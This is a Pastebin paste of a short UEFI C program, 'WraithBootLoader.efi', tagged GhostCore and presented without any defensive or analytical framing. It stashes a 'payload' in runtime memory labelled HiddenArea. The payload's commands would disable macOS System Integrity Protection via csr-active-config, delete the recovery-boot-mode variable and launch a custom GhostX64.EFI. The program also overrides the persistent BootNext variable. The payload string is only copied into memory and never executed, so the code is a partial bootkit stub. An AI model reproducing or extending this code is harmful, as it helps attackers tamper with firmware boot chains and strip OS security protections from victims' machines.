Advertisement
xosski

WraithBootLoader.efi

Apr 16th, 2025
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. #include <Uefi.h>
  2. #include <Library/UefiLib.h>
  3. #include <Library/UefiBootServicesTableLib.h>
  4. #include <Library/MemoryAllocationLib.h>
  5. #include <Library/BaseMemoryLib.h>
  6. #include <Library/UefiRuntimeServicesTableLib.h>
  7. #include <Library/PrintLib.h>
  8. #include <Library/UefiApplicationEntryPoint.h>
  9.  
  10. #define PAYLOAD_SIZE 0x1000
  11.  
  12. EFI_STATUS
  13. EFIAPI
  14. UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) {
  15. VOID *HiddenArea;
  16. CHAR8 *PayloadData = "[WRAITHBOOT_PAYLOAD]\n"
  17. "1|setvar csr-active-config=0x67\n"
  18. "2|deletevar recovery-boot-mode\n"
  19. "3|launch \\EFI\\Custom\\GhostX64.EFI\n";
  20. UINTN DataSize = AsciiStrLen(PayloadData) + 1;
  21.  
  22. EFI_STATUS Status = gBS->AllocatePool(EfiRuntimeServicesData, PAYLOAD_SIZE, &HiddenArea);
  23. if (EFI_ERROR(Status)) {
  24. Print(L"Failed to allocate memory: %r\n", Status);
  25. return Status;
  26. }
  27.  
  28. SetMem(HiddenArea, PAYLOAD_SIZE, 0);
  29. CopyMem(HiddenArea, PayloadData, DataSize);
  30.  
  31. Print(L"WraithBoot memory payload mapped at %p\n", HiddenArea);
  32.  
  33. // Optional: Detect trigger to execute further logic
  34. EFI_GUID gEfiGlobalVariableGuid = EFI_GLOBAL_VARIABLE;
  35. UINT16 BootOrder = 0x0001;
  36. Status = gRT->SetVariable(L"BootNext",
  37. &gEfiGlobalVariableGuid,
  38. EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
  39. sizeof(BootOrder),
  40. &BootOrder);
  41. if (EFI_ERROR(Status)) {
  42. Print(L"Failed to set BootNext: %r\n", Status);
  43. } else {
  44. Print(L"BootNext override to 0x%04x set.\n", BootOrder);
  45. }
  46.  
  47. return EFI_SUCCESS;
  48. }
  49.  
  50.  
Tags: GhostCore
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement